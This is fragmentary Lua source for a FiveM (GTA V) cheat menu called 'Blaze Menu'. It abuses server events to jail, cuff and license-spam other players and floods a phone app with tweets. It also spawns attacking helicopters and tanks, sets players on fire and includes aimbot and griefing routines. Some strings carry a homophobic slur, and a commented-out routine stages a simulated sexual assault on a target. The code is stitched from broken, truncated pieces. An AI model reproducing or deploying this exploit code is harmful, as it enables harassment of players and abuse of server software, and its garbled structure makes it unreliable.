end
end
function communityService(sid)
if doesResourceExist("ESX_CommunityService") or
doesResourceExist("esx_CommunityService") then
TriggerCustomEvent(true, "esx_communityservice:sendToCommunityService",
sid, 5391)
end
end
function gcphoneTwitter ()
if doesResourceExist("gcphone") or doesResourceExist("xenknight") then
Citizen.CreateThread(
function()
TriggerCustomEvent(
true,
"gcPhone:twitter_createAccount",
"Blaze Menu",
"Blaze",
"https://www.cjnews.com/wp-content/uploads/2012/01/gay-
640x588.jpg"
)
Citizen.Wait(1500)
TriggerCustomEvent(true, "gcPhone:twitter_login", "Blaze", "Blaze")
Citizen.Wait(1500)
for i = 1, 50 do
TriggerCustomEvent(
true,
"gcPhone:twitter_postTweets",
"Blaze",
"Blaze",
"Blaze Menu > all"
)
Citizen.Wait(50)
end
end
)
end
end
function esx_license()
if doesResourceExist("esx_license") then
local sk_ = {
"Blaze",
"Blaze",
"Blaze",
"RIP Your SQL Faggot",
"Make sure to wipe all tables ;)",
"Blaze Was Here"
}
for i = 0, #sk_ do
local WXZmMBl8PTItNNdN = GetActivePlayers()
for player = 0, #WXZmMBl8PTItNNdN do
TriggerCustomEvent(
true,
"esx_license:addLicense",
player,
sk_[i],
function()
cb(true)
print("added license " .. sk_[i] .. " to " .. player)
end
)
end
end
end
end
--Esx Earrrape troll ends
resetAppearance = function()
ClearAllPedProps(PlayerPedId())
ClearPedDecorations(PlayerPedId())
SetPedComponentVariation(PlayerPedId(), 1, 0, 0, 0)
SetPedComponentVariation(PlayerPedId(), 5, 0, 0, 0)
SetPedComponentVariation(PlayerPedId(), 9, 0, 0, 0)
end
--Spawn Peds
function Spawn_Heli_Enemies(target)
Citizen.CreateThread(function()
local x, y, z = table.unpack(GetEntityCoords(target))
local flacko_veri_cool = 'buzzard'
local SwagUI_flighter = 'ig_claypain'
RequestModelSync(flacko_veri_cool)
RequestModelSync(SwagUI_flighter)
RequestModel(flacko_veri_cool)
RequestModel(SwagUI_flighter)
Citizen.CreateThread(function()
local timeout = 0
while not HasModelLoaded(SwagUI_flighter) do
timeout = timeout + 100
Citizen.Wait(100)
if timeout > 5000 then
Blazes.PushNotification('Could not load model!',
5000)
break
end
end
while not HasModelLoaded(flacko_veri_cool) do
timeout = timeout + 100
Citizen.Wait(100)
if timeout > 5000 then
Blazes.PushNotification('Could not load model!',
5000)
break
end
end
local flacko_dream_heli =
CreateVehicle(GetHashKey(flacko_veri_cool),x,y,z + 100, GetEntityHeading(target),
true, true)
local newDriver = CreatePedInsideVehicle(flacko_dream_heli, 4,
SwagUI_flighter, -1, true, false)
SetHeliBladesFullSpeed(flacko_dream_heli)
SetCurrentPedVehicleWeapon(newDriver,
GetHashKey("VEHICLE_WEAPON_PLANE_ROCKET"))
SetVehicleShootAtTarget(newDriver, target, x, y, z)
SetPedCanSwitchWeapon(newDriver, true)
TaskCombatPed(newDriver, target, 0, 16)
Spawn_Tank_Enemy = function(target)
Citizen.CreateThread(function()
local theTank = 'rhino'
RequestModel(theTank)
while not HasModelLoaded(theTank) do
Citizen.Wait(50)
end
local lVehicle = GetVehiclePedIsIn(target, false)
local x,y,z = table.unpack(GetEntityCoords(target))
local tank = CreateVehicle(GetHashKey(theTank), x + 20,y + 20,z +
5,GetEntityCoords(target),true,false)
RequestControlOnce(tank)
local pPed = 's_m_y_swat_01'
RequestModel(pPed)
while not HasModelLoaded(pPed) do
RequestModel(pPed)
Citizen.Wait(50)
end
local CreateTank = CreatePedInsideVehicle(tank, 4,
GetEntityModel(PlayerPedId()), -1, true, false)
RequestControlOnce(CreateTank)
SetDriverAbility(CreateTank, 10.0)
SetDriverAggressiveness(CreateTank, 10.0)
TaskCombatPed(CreateTank, target, 0, 16)
end)
end
--[[
local function AirstrikeWaypoint()
if isAirstrikeRunning then
return SwagUI.SendNotification({text = "Wait until the current
airstrike is complete", type = "error"})
end
repeat
Wait(0)
until HasWeaponAssetLoaded(Airstrike.weapon_asset)
-- Create Aircraft
local aircraft = CreateVehicle(Airstrike.vehicle_hash, origin, 0.0,
true, true)
FreezeEntityPosition(aircraft, true)
-- Create pilot and block temporary events
local pilot = CreatePedInsideVehicle(aircraft, 29, Airstrike.ped_hash,
-1, true, true)
SetBlockingOfNonTemporaryEvents(pilot, true)
SetDriverAbility(pilot, 1.0)
-- Make sure the vehicle engine is started
SetVehicleJetEngineOn(aircraft, true)
SetVehicleEngineOn(aircraft, true, true, true)
-- Disable turbulence
SetPlaneTurbulenceMultiplier(aircraft, 0.0)
SetVehicleForceAfterburner(aircraft, true)
local blip = AddBlipForEntity(aircraft)
SetVehicleWeaponsDisabled(aircraft, 2)
FreezeEntityPosition(aircraft, false)
TaskVehicleDriveToCoord(pilot, aircraft, target.x, target.y, target.z,
3500.0 * 2.6, 1.0, Airstrike.vehicle_hash, 16777216, 1.0, true)
--TaskPlaneMission(pilot, aircraft, 0, playerPed, 0, 0, 0, 6,
GetVehicleModelMaxSpeed(aircraft), 1.0, 0.0, 2000.0, 500.0)
SetDriveTaskCruiseSpeed(pilot, 150.0)
aircraft = NetToVeh(netVehid)
pilot = NetToPed(netPedid)
while true do
local vehCoords = GetEntityCoords(aircraft)
local distance = GetDistanceBetweenCoords(vehCoords, target)
Wait(100)
end
SetEntityAsMissionEntity(aircraft)
DeleteVehicle(aircraft)
RemoveBlip(blip)
isAirstrikeRunning = false
end
CreateThreadNow(AirstrikeThread)
end
]]
local onlinePlayerSelected = {} -- used for Online Players menu
AddTextEntry("keyboard_title_buffer", title)
DisplayOnscreenKeyboard(0, "keyboard_title_buffer", "", initialText, "", "",
"", bufferSize)
local SliderOptions = {}
SliderOptions.FastRun = {
Selected = 1,
Values = { 1.0, 1.09, 1.19, 1.29, 1.39, 1.49 },
Words = {"Default", "+20%", "+40%", "+60%", "+80%", "+100%"},
}
SliderOptions.Jradius = {
Selected = 1,
Values = { 0.0, 5.0, 10.0, 15.0, 20.0, 50.0 },
Words = { "Off", "5.0", "10.0", "15.0", "20.0", "50.0" },
}
SliderOptions.DamageModifier = {
Selected = 1,
Values = {1.0, 2.0, 5.0, 10.0, 25.0, 50.0, 100.0, 200.0, 500.0, 1000.0},
Words = {"Default", "2x", "5x", "10x", "25x", "50x", "100x", "200x", "500x",
"1000x"}
}
SliderOptions.CuffType = {
Selected = 1,
Values = {0,1,2,3,4,5,6},
Words = {"OG_cuffs", "CheckHandcuff", "cuffServer", "cuffGranted", "police",
"esx_handcuffs", "esx_policejob"},
}
SliderOptions.ESPDistance = {
Selected = 1,
Values = {100,250,500,750,1000,2000,9999},
Words = {"100m", "250m", "500m", "750m", "1000m", "2000m", "9999m"},
}
local ComboOptions = {}
ComboOptions.TPTo = {
Selected = 1,
Values = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10,},
Words = {"In The Sky", "Weed Farm", "Meth Farm", "Coke Farm", "Money Wash",
"Mission Row PD", "Legion Square", "Vespucci Beach", "Sandy Shores", "Blaine
County"},
}
ComboOptions.RamPlayerVehicle = {
Selected = 1,
Values = {"bus", "monster", "freight", "bulldozer"},
Words = {"Bus", "Monster", "Freight", "BullDozer"},
}
ComboOptions.MK2 = {
Selected = 1,
Values = {"", "_mk2"},
Words = {"Mk I", "Mk II"},
}
ComboOptions.EnginePower = {
Selected = 1,
Values = {1.0, 25.0, 50.0, 100.0, 200.0, 500.0, 1000.0},
Words = {"Default", "+25%", "+50%", "+100%", "+200%", "+500%", "+1000%"}
}
ComboOptions.XenonColor = {
Selected = 1,
Values = {-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12},
Words = {"Default", "White", "Blue", "Electric", "Mint", "Lime", "Yellow",
"Gold", "Orange", "Red", "Pink", "Hot Pink", "Purple", "Blacklight"}
}
return val
end
ComboOptions.DirtLevel = {
Selected = GetDirtLevel,
Values = {0.0, 7.5, 15.0},
Words = {"Clean", "Dirty", "Filthy"}
}
ComboOptions.fcars = {
Selected = 1,
Values = {"prop_wheelchair_01", "prop_ld_toilet_01", "prop_t_sofa",
"p_cablecar_s", "prop_wheelbarrow02a", "prop_rub_trolley02a", "prop_bumper_car_01",
"prop_crashed_heli", "ind_prop_dlc_roller_car"},
Words = {"Wheelchair", "Toilet", "Sofa", "Shitty Car", "WheelBarrow",
"Trolley", "Bumper Car", "Crashed Helicopter", "Roller Coaster"}
}
RequestControlOnce(vehicle)
SetVehicleFixed(vehicle)
SetVehicleLightsMode(vehicle, 0)
SetVehicleLights(vehicle, 0)
SetVehicleBurnout(vehicle, false)
SetVehicleEngineHealth(vehicle, 1000.0)
SetVehicleFuelLevel(vehicle, 100.0)
SetVehicleOilLevel(vehicle, 100.0)
return true
end
function TPToF(TPTo)
if TPTo == 1 then
local x,y,z = table.unpack(GetEntityCoords(PlayerPedId()))
teleport_to_coords(x,y,z + 200)
elseif TPTo == 2 then
teleport_to_coords(1066.009, -3183.386, -39.164)
elseif TPTo == 3 then
teleport_to_coords(998.629, -3199.545, -36.394)
elseif TPTo == 4 then
teleport_to_coords(1088.636, -3188.551, -38.993)
elseif TPTo == 5 then
teleport_to_coords(1118.405, -3193.687, -40.394)
elseif TPTo == 6 then
teleport_to_coords(441.56, -982.9, 30.69)
elseif TPTo == 7 then
teleport_to_coords(195.23, -934.04, 30.69)
elseif TPTo == 8 then
teleport_to_coords(-1653.85, -860.87, 9.16)
elseif TPTo == 9 then
teleport_to_coords(2024.28, 3770.94, 32.18)
elseif TPTo == 10 then
teleport_to_coords(-183.57, 6366.65, 31.47)
end
end
return SetVehicleOnGroundProperly(vehicle)
end
return vehicle
end
return true
end
if vehicle ~= 0 then
SetVehicleNumberPlateText(vehicle, plateText)
return true
end
return false
end
RequestControlOnce(ped)
ClearPedTasksImmediately(ped)
end
ComboOptions.VehicleActions = {
Selected = 1,
Values = {RepairVehicle, FlipVehicle, DriveVehicle, RemoveVehicle},
Words = {"Repair", "Flip", "Drive", "Delete"}
}
local themeColors = {
red = { r = 231, g = 76, b = 60, a = 255 }, -- rgb(231, 76, 60)
orange = { r = 230, g = 126, b = 34, a = 255 }, -- rgb(230, 126, 34)
yellow = { r = 241, g = 196, b = 15, a = 255 }, -- rgb(241, 196, 15)
green = { r = 26, g = 188, b = 156, a = 255 }, -- rgb(26, 188, 156)
blue = { r = 0, g = 104, b = 222, a = 255 }, -- rgb(52, 152, 219)
purple = { r = 155, g = 89, b = 182, a = 255 }, -- rgb(155, 89, 182)
white = { r = 236, g = 240, b = 241, a = 255} -- rgb(236, 240, 241)
}
-- Set a default menu theme
_menuColor.base = themeColors.blue
end
PreloadTextures()
if canSuicide then
if not HasAnimDictLoaded('mp_suicide') then
RequestAnimDict('mp_suicide')
Wait(750)
local validResources = {}
local validResourceEvents = {}
local validResourceServerEvents = {}
for i, v in ipairs(GetResources()) do
VerifyResource(v)
end
RefreshResourceData()
function forcetick()
if (KeyPressed) then
KeyTimer = KeyTimer + 1
if (KeyTimer >= KeyDelay) then
KeyTimer = 0
KeyPressed = false
end
end
if (StartPush) then
StartPush = false
local pid = PlayerPedId()
local CamRot = GetGameplayCamRot(2)
local force = 5
for k in EnumerateVehicles() do
SetEntityInvincible(k, false)
if IsEntityOnScreen(k) and k ~= PlayerVeh then
ApplyForceToEntity(k, 1, Fx, Fy, Fz, 0, 0, 0, true,
false, true, true, true, true)
end
end
for k in EnumeratePeds() do
if IsEntityOnScreen(k) and k ~= pid then
ApplyForceToEntity(k, 1, Fx, Fy, Fz, 0, 0, 0, true,
false, true, true, true, true)
end
end
end
if (ForceEnabled) then
local pid = PlayerPedId()
local PlayerVeh = GetVehiclePedIsIn(pid, false)
Markerloc = GetGameplayCamCoord() +
(RotationToDirection(GetGameplayCamRot(2)) * 20)
for k in EnumerateVehicles() do
SetEntityInvincible(k, true)
if IsEntityOnScreen(k) and (k ~= PlayerVeh) then
RequestControlOnce(k)
FreezeEntityPosition(k, false)
Oscillate(k, Markerloc, 0.5, 0.3)
end
end
for k in EnumeratePeds() do
if IsEntityOnScreen(k) and k ~= PlayerPedId() then
RequestControlOnce(k)
SetPedToRagdoll(k, 4000, 5000, 0, true, true, true)
FreezeEntityPosition(k, false)
Oscillate(k, Markerloc, 0.5, 0.3)
end
end
end
end
if Swag.Toggle.MagnetoMode then
SwagUI.SendNotification({text = "Press ~b~E~s~ to use Magneto", type =
"info"})
CreateThread(MagnetoModeThread)
end
end
function control_nearest_ped(animal_only)
-- X, Y, Z, Radius, exc
Citizen.CreateThread(function()
local pl_coords = GetEntityCoords(PlayerPedId(), false)
local nearest_target = nil
local closest_dist = 99999.0
if IsPedSittingInAnyVehicle(nearest_target) then
local vehicle = GetVehiclePedIsUsing(nearest_target)
ClearPedTasksImmediately(nearest_target)
DeleteEntity(nearest_target)
SetPedIntoVehicle(PlayerPedId(), vehicle, -1)
TaskWarpPedIntoVehicle(PlayerPedId(), vehicle, -1)
else
local tx, ty, tz =
table.unpack(GetEntityCoords(nearest_target))
DeleteEntity(nearest_target)
--car rockets
-- self section
function ApplyShockwave(entity)
local pos = GetEntityCoords(PlayerPedId())
local coord=GetEntityCoords(entity)
local dx=coord.x - pos.x
local dy=coord.y - pos.y
local dz=coord.z - pos.z
local distance=math.sqrt(dx*dx+dy*dy+dz*dz)
local distanceRate=(50/distance)*math.pow(1.04,1-distance)
ApplyForceToEntity(entity, 1,
distanceRate*dx,distanceRate*dy,distanceRate*dz, math.random()*math.random(-
1,1),math.random()*math.random(-1,1),math.random()*math.random(-1,1), true, false,
true, true, true, true)
end
function jesus_tick(radius)
local player = PlayerPedId()
local coords = GetEntityCoords(PlayerPedId())
local playerVehicle = GetPlayersLastVehicle()
local inVehicle=IsPedInVehicle(player,playerVehicle,true)
DrawMarker(28, coords.x, coords.y, coords.z, 0.0, 0.0, 0.0, 0.0, 180.0, 0.0,
radius, radius, radius, 180, 80, 0, 35, false, true, 2, nil, nil, false)
for k in EnumerateVehicles() do
if (not inVehicle or k ~= playerVehicle) and
GetDistanceBetweenCoords(coords, GetEntityCoords(k)) <= radius*1.2 then
RequestControlOnce(k)
ApplyShockwave(k)
end
end
for k in EnumeratePeds() do
if k~= PlayerPedId() and GetDistanceBetweenCoords(coords,
GetEntityCoords(k)) <= radius*1.2 then
RequestControlOnce(k)
SetPedRagdollOnCollision(k,true)
SetPedRagdollForceFall(k)
ApplyShockwave(k)
end
end
end
return {
x = a.x * mag,
y = a.y * mag,
z = a.z * mag
}
end
roped_ents = {}
rope_first_ent = nil
function rope_gun_tick()
while isMenuEnabled do
if rope_gun then
local ped = GetPlayerPed(PlayerId())
local pedPos = GetEntityCoords(ped, false)
return false
end
-- get ents
if IsDisabledControlPressed(1, Swag.Keys["MOUSE1"]) then
if rope_gun_self then
local rope = AddRope(pedPos.x, pedPos.y,
pedPos.z, 0.0, 0.0, 0.0, 10.0, 1, 10.0, 1.0, 0, 0, 0, 0, 0, 0, 0)
AttachEntitiesToRope(rope, ped, spawnedPed,
pedPos.x, pedPos.y, pedPos.z, pedPos2.x, pedPos2.y, pedPos2.z, 15, false, false, 0,
0)
else
if rope_first_ent == nil then
rope_first_ent = spawnedPed
else
local rope = AddRope(pedPos.x, pedPos.y,
pedPos.z, 0.0, 0.0, 0.0, 10.0, 1, 10.0, 1.0, 0, 0, 0, 0, 0, 0, 0)
local first_pos =
GetEntityCoords(rope_first_ent, false)
AttachEntitiesToRope(rope,
rope_first_ent, spawnedPed, first_pos.x, first_pos.y, first_pos.z, pedPos2.x,
pedPos2.y, pedPos2.z, 15, false, false, 0, 0)
table.insert(roped_ents, { ropeid = rope,
ped = spawnedPed })
rope_first_ent = nil
end
end
end
--end
--print("SPAWNED ROPE: " .. spawnedRope)
end
-- clear shit
if IsDisabledControlPressed(1, 182) then
rope_first_ent = nil
for i,data in ipairs(roped_ents) do
table.remove(roped_ents, i)
DeleteRope(data.ropeid)
end
end
-- physics
for i,data in ipairs(roped_ents) do
local ped = data.ped
--[[
if IsEntityDead(ped) then
--DeleteRope(data.ropeid)
--table.remove(roped_ents, i)
else
]]
--print(ped)
local dir =
vector_mul_f(vector_normalize(vector_sub(pedPos, target_pos)), force)
function PiggyNearby()
--[[Citizen.CreateThread(function()
local pl_coords = GetEntityCoords(PlayerPedId(), false)
local nearest_target = nil
local closest_dist = 99999.0
RequestModelSync("a_m_o_acult_01")
RequestAnimDict("rcmpaparazzo_2")
while not HasAnimDictLoaded("rcmpaparazzo_2") do
Citizen.Wait(0)
end
if IsPedInAnyVehicle(GetPlayerPed(SelectedPlayer), true) then
local veh = GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), true)
while not NetworkHasControlOfEntity(veh) do
NetworkRequestControlOfEntity(veh)
Citizen.Wait(0)
end
SetEntityAsMissionEntity(veh, true, true)
DeleteVehicle(veh)
DeleteEntity(veh)
end
count = -0.2
--for b=1,3 do
local x,y,z =
table.unpack(GetEntityCoords(GetPlayerPed(SelectedPlayer), true))
local rapist = CreatePed(4, GetHashKey("a_m_o_acult_01"), x,y,z,
0.0, true, false)
SetEntityAsMissionEntity(rapist, true, true)
AttachEntityToEntity(rapist, GetPlayerPed(SelectedPlayer), 4103,
11816, count, 0.00, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true)
ClearPedTasks(GetPlayerPed(SelectedPlayer))
TaskPlayAnim(GetPlayerPed(SelectedPlayer), "rcmpaparazzo_2",
"shag_loop_poppy", 2.0, 2.5, -1, 49, 0, 0, 0, 0)
SetPedKeepTask(rapist)
TaskPlayAnim(rapist, "rcmjosh2", "josh_sitting_loop", 2.0, 2.5, -
1, 49, 0, 0, 0, 0)
SetEntityInvincible(rapist, true)
count = count - 0.4
--end
end)]]
end
function PiggyBack(SelectedPlayer)
Citizen.CreateThread(function()
local pl_coords = GetEntityCoords(PlayerPedId(), false)
local closest_dist = 99999.0
RequestModelSync("a_m_o_acult_01")
RequestAnimDict("rcmpaparazzo_2")
while not HasAnimDictLoaded("rcmpaparazzo_2") do
Citizen.Wait(0)
end
if IsPedInAnyVehicle(GetPlayerPed(SelectedPlayer), true) then
local veh = GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), true)
while not NetworkHasControlOfEntity(veh) do
NetworkRequestControlOfEntity(veh)
Citizen.Wait(0)
end
SetEntityAsMissionEntity(veh, true, true)
DeleteVehicle(veh)
DeleteEntity(veh)
end
count = -0.2
grapple_has = false
grapple_pos = { x=0,y=0,z=0 }
grapple_prev_godmode = false
grapple_rope = 0
grapple_dummy = nil
grapple_prev_ragdoll = false
grapple_bone = 0
function grapple_hook_tick()
while isMenuEnabled do
if grapple_hook_enabled then
--[[
\
local rayHandle = StartShapeTestRay(source.x, source.y, source.z,
target.x, target.y, target.z, 16+8+4+2, player, 0)
local _,_,_,_, rayresult = GetShapeTestResult(rayHandle)
// GetCamMatrix
void GET_CAM_MATRIX(Cam camera, Vector3* rightVector, Vector3*
forwardVector, Vector3* upVector, Vector3* position);
]]
local fx = -(math.sin(math.rad(cam_rot.z)))
local fy = (math.cos(math.rad(cam_rot.z)))
local fz = math.sin(math.rad(cam_rot.x))
local dir = vector3(fx,fy,fz)
--local dir = RotToDirection(cam_rot)
--TaskSkyDive(PlayerPedId())
AttachEntitiesToRope(grapple_rope,
GetPlayerPed(PlayerId()), grapple_dummy, hand.x, hand.y, hand.z, dummy_pos.x,
dummy_pos.y, dummy_pos.z, dist, false, false, 0, 0)
SetPedDesiredHeading(PlayerPedId(), cam_rot.z)
--SetEntityCoordsNoOffset(PlayerPedId(),, false, false,
false)
--SetEntityCoordsNoOffset(PlayerPedId(),
plocal_pos.x+dir.x,plocal_pos.y+dir.y,plocal_pos.z+dir.z, true, true, true)
DrawMarker(
28, dummy_pos, 0.0, 0.0, 0.0, 0.0, 180.0, 0.0, 1.0,
1.0, 1.0,
0, 255, 0, 255,
false, true, 2, nil, nil, false
)
elseif hit == 1 then
DrawMarker(
28, end_coords, 0.0, 0.0, 0.0, 0.0, 180.0, 0.0, 1.0,
1.0, 1.0,
255, 255, 0, 255,
false, true, 2, nil, nil, false
)
--DrawLine(plocal_pos.x, plocal_pos.y, plocal_pos.z,
end_coords.x, end_coords.y, end_coords.z, 0, 0, 255, 255)
--DrawLine(cam_pos.x, cam_pos.y, cam_pos.z, end_coords.x,
end_coords.y, end_coords.z, 0, 255, 255, 255)
end
if grapple_rope ~= 0 then
DeleteRope(grapple_rope)
end
ClearPedTasksImmediately(PlayerPedId())
TaskSkyDive(PlayerPedId())
local dummy_pos =
GetEntityCoords(grapple_dummy, false)
RopeLoadTextures()
grapple_rope = AddRope(end_coords.x,
end_coords.y, end_coords.z, 0.0, 0.0, 0.0, dist, 1, dist, 1.0, 0, 0, 0, 0, 0, 0, 0)
--AttachRopeToEntity(grapple_rope,
PlayerPedId(), hand.x, hand.y, hand.z, true)
RequestModelSync("a_c_crow")
grapple_dummy = CreatePed(28,
GetHashKey("a_c_crow"), end_coords.x, end_coords.y, end_coords.z, 0, true, false)
--grapple_dummy = CreatePed(4,
GetHashKey("a_m_o_acult_01"), end_coords.x, end_coords.y, end_coords.z, 0, true,
false)
local dummy_pos =
GetEntityCoords(grapple_dummy, false)
AttachEntitiesToRope(grapple_rope,
GetPlayerPed(PlayerId()), grapple_dummy, hand.x, hand.y, hand.z, dummy_pos.x,
dummy_pos.y, dummy_pos.z, dist, false, false, 0, 0)
--AttachRopeToEntity(grapple_rope,
GetPlayerPed(PlayerId()), plocal_pos.x,plocal_pos.y,plocal_pos.z, true)
grapple_prev_ragdoll = RagdollToggle
grapple_prev_godmode = God_mode
grapple_has = true
grapple_pos = end_coords
end
end
end
--GetGameplayCamCoord
--Citizen.Wait(50)
end
Citizen.Wait(0)
end
end
Citizen.CreateThread(grapple_hook_tick)
aimbot_bullet_count = 99999
aimbot_last_weapon = 0
--[[
if vis_check then
--local test_head = GetPedBoneCoords(PlayerPedId(),
GetEntityBoneIndexByName(PlayerPedId(), "SKEL_HEAD"), 0.0, 0.0, 0.0)
local ray_handle = StartShapeTestRay(
plocal_head.x, plocal_head.y, plocal_head.z,
world_pos.x, world_pos.y, world_pos.z,
31,
PlayerPedId(), 0
)
local ret_val, hit, end_coords, surface_normal,
entity_hit = GetShapeTestResult(ray_handle)
pass_vis = entity_hit ~= 0 and hit == 1
end
if pass_vis then
local on_screen, sx, sy = WorldToScreenRel(world_pos)
if on_screen then
local dist = math.sqrt((midx-sx)*(midx-sx)+
(midy-sy)*(midy-sy))
if dist < closest_dist then
closest_dist = dist
target = ped
end
end
end
end
end
end
--Deer Section
local Deer = {
Handle = nil,
Invincible = false,
Ragdoll = false,
Marker = false,
Speed = {
Walk = 10.0,
Run = 15.0,
},
}
function Deer.Create()
local Model = GetHashKey("a_c_cow")
RequestModel(Model)
while not HasModelLoaded(Model) do
Citizen.Wait(50)
end
local Ped = PlayerPedId()
local PedPosition = GetEntityCoords(Ped, false)
SetPedCanRagdoll(Deer.Handle, Deer.Ragdoll)
SetEntityInvincible(Deer.Handle, Deer.Invincible)
SetModelAsNoLongerNeeded(Model)
end
function Deer.Attach()
local Ped = PlayerPedId()
FreezeEntityPosition(Deer.Handle, true)
FreezeEntityPosition(Ped, true)
FreezeEntityPosition(Deer.Handle, false)
FreezeEntityPosition(Ped, false)
end
function Deer.Ride()
local Ped = PlayerPedId()
local PedPosition = GetEntityCoords(Ped, false)
if IsPedSittingInAnyVehicle(Ped) or IsPedGettingIntoAVehicle(Ped) then
return
end
local AttachedEntity = GetEntityAttachedTo(Ped)
Deer.Handle = nil
DetachEntity(Ped, true, false)
ClearPedTasksImmediately(Ped)
Citizen.CreateThread(function()
RequestAnimDict("rcmjosh2")
while not HasAnimDictLoaded("rcmjosh2") do
Citizen.Wait(250)
end
while isMenuEnabled do
Citizen.Wait(0)
-- Grief Section
function BeachFire(target)
local beach_fire = GetHashKey("prop_beach_fire")
RequestModel(beach_fire)
Citizen.CreateThread(function()
while not HasModelLoaded(beach_fire) do
Citizen.Wait(100)
end
local object = CreateObject(beach_fire, 0, 0, 0, true, true, false)
AttachEntityToEntity(object, target, GetPedBoneIndex(target,
SKEL_Spine_Root), 0.0, 0.0, 0.0, 0.0, 90.0, 0, false, false, false, false, 2, true)
SetModelAsNoLongerNeeded(beach_fire)
end)
end
function FireAll()
local plist = GetActivePlayers()
for i = 0, #plist do
BeachFire(GetPlayerPed(plist[i]))
end
end
function cuff_player_by_id(id)
local type = SliderOptions.CuffType.Values[SliderOptions.CuffType.Selected]
if type == 0 then
TriggerServerEvent("OG_cuffs:cuffCheckNearest", id)
elseif type == 1 then
TriggerServerEvent("CheckHandcuff", id)
elseif type == 2 then
TriggerServerEvent("cuffServer", id)
elseif type == 3 then
TriggerServerEvent("cuffGranted", id)
elseif type == 4 then
TriggerServerEvent("police:cuffGranted", id)
elseif type == 5 then
TriggerServerEvent("esx_handcuffs:cuffing", id)
elseif type == 6 then
TriggerServerEvent("esx_policejob:handcuff", id)
end
end
function CuffAll()
Citizen.CreateThread(function()
for i = 0, 128 do
cuff_player_by_id(GetPlayerServerId(i))
end
end)
end
function RampAll()
for vehicle in EnumerateVehicles() do
local ramp = CreateObject(-145066854, 0, 0, 0, true, true, true)
NetworkRequestControlOfEntity(vehicle)
AttachEntityToEntity(ramp, vehicle, 0, 0, -1.0, 0.0, 0.0, 0, true,
true, false, true, 1, true)
NetworkRequestControlOfEntity(ramp)
SetEntityAsMissionEntity(ramp, true, true)
end
end
function KickAll()
local pbase = GetActivePlayers()
for i = 1, #pbase do
if IsPedInAnyVehicle(GetPlayerPed(pbase[i]), true) then
ClearPedTasksImmediately(GetPlayerPed(pbase[i]))
end
end
end
for i = 0,dens do
UseParticleFxAssetNextCall(base)
W1 = StartParticleFxLoopedOnEntityBone(sub, car, 0.05, 0, 0, 0, 0, 0,
GetEntityBoneIndexByName(car, "wheel_lr"), size, 0, 0, 0)
UseParticleFxAssetNextCall(base)
W2 = StartParticleFxLoopedOnEntityBone(sub, car, 0.05, 0, 0, 0, 0, 0,
GetEntityBoneIndexByName(car, "wheel_rr"), size, 0, 0, 0)
table.insert(all_part, 1, W1)
table.insert(all_part, 2, W2)
end
Citizen.Wait(1000)
if Swag.Toggle.SelfRagdoll then
CreateThread(SelfRagdollThread)
end
end
function getEntityInCrosshair(player)
local result, entity = GetEntityPlayerIsFreeAimingAt(player,
Citizen.ReturnResultAnyway())
return entity
end
LSC.vehicleMods = {
{name = "Spoilers", id = 0, meta = "modSpoilers"},
{name = "Front Bumper", id = 1, meta = "modFrontBumper"},
{name = "Rear Bumper", id = 2, meta = "modRearBumper"},
{name = "Side Skirt", id = 3, meta = "modSideSkirt"},
{name = "Exhaust", id = 4, meta = "modExhaust"},
{name = "Frame", id = 5, meta = "modFrame"},
{name = "Grille", id = 6, meta = "modGrille"},
{name = "Hood", id = 7, meta = "modHood"},
{name = "Fender", id = 8, meta = "modFender"},
{name = "Right Fender", id = 9, meta = "modRightFender"},
{name = "Roof", id = 10, meta = "modRoof"},
{name = "Xenon Lights", id = 22, meta = "modXenon"},
{name = "Vanity Plates", id = 26, meta = "modVanityPlate"},
{name = "Trim", id = 27, meta = "modTrim"},
{name = "Ornaments", id = 28, meta = "modOrnaments"},
{name = "Dashboard", id = 29, meta = "modDashboard"},
{name = "Dial", id = 30, meta = "modDial"},
{name = "Door Speaker", id = 31, meta = "modDoorSpeaker"},
{name = "Seats", id = 32, meta = "modSeats"},
{name = "Steering Wheel", id = 33, meta = "modSteeringWheel"},
{name = "Shifter Leavers", id = 34, meta = "modShifterLeavers"},
{name = "Plaques", id = 35, meta = "modPlaques"},
{name = "Speakers", id = 36, meta = "modSpeakers"},
{name = "Trunk", id = 37, meta = "modTrunk"},
{name = "Hydraulics", id = 38, meta = "modHydraulics"},
{name = "Engine Block", id = 39, meta = "modEngineBlock"},
{name = "Air Filter", id = 40, meta = "modAirFilter"},
{name = "Struts", id = 41, meta = "modStruts"},
{name = "Arch Cover", id = 42, meta = "modArchCover"},
{name = "Aerials", id = 43, meta = "modAerials"},
{name = "Trim 2", id = 44, meta = "modTrimB"},
{name = "Tank", id = 45, meta = "modTank"},
{name = "Windows", id = 46, meta = "modWindows"},
{name = "Livery", id = 48, meta = "modLivery"},
{name = "Horns", id = 14, meta = "modHorns"},
{name = "Wheels", id = 23, meta = "modFrontWheels"},
{name = "Back Wheels", id = 24, meta = "modBackWheels"},
-- {name = "Wheel Types", id = "wheeltypes"},
-- {name = "Extras", id = "extra"},
-- {name = "Neons", id = "neon"},
-- {name = "Paint", id = "paint"},
}
LSC.perfMods = {
{name = "Armor", id = 16, meta = "modArmor"},
{name = "Engine", id = 11, meta = "modEngine"},
{name = "Brakes", id = 12, meta = "modBrakes"},
{name = "Transmission", id = 13, meta = "modTransmission"},
{name = "Suspension", id = 15, meta = "modSuspension"},
}
LSC.horns = {
["HORN_STOCK"] = -1,
["Truck Horn"] = 1,
["Police Horn"] = 2,
["Clown Horn"] = 3,
["Musical Horn 1"] = 4,
["Musical Horn 2"] = 5,
["Musical Horn 3"] = 6,
["Musical Horn 4"] = 7,
["Musical Horn 5"] = 8,
["Sad Trombone Horn"] = 9,
["Classical Horn 1"] = 10,
["Classical Horn 2"] = 11,
["Classical Horn 3"] = 12,
["Classical Horn 4"] = 13,
["Classical Horn 5"] = 14,
["Classical Horn 6"] = 15,
["Classical Horn 7"] = 16,
["Scaledo Horn"] = 17,
["Scalere Horn"] = 18,
["Salemi Horn"] = 19,
["Scalefa Horn"] = 20,
["Scalesol Horn"] = 21,
["Scalela Horn"] = 22,
["Scaleti Horn"] = 23,
["Scaledo Horn High"] = 24,
["Jazz Horn 1"] = 25,
["Jazz Horn 2"] = 26,
["Jazz Horn 3"] = 27,
["Jazz Loop Horn"] = 28,
["Starspangban Horn 1"] = 28,
["Starspangban Horn 2"] = 29,
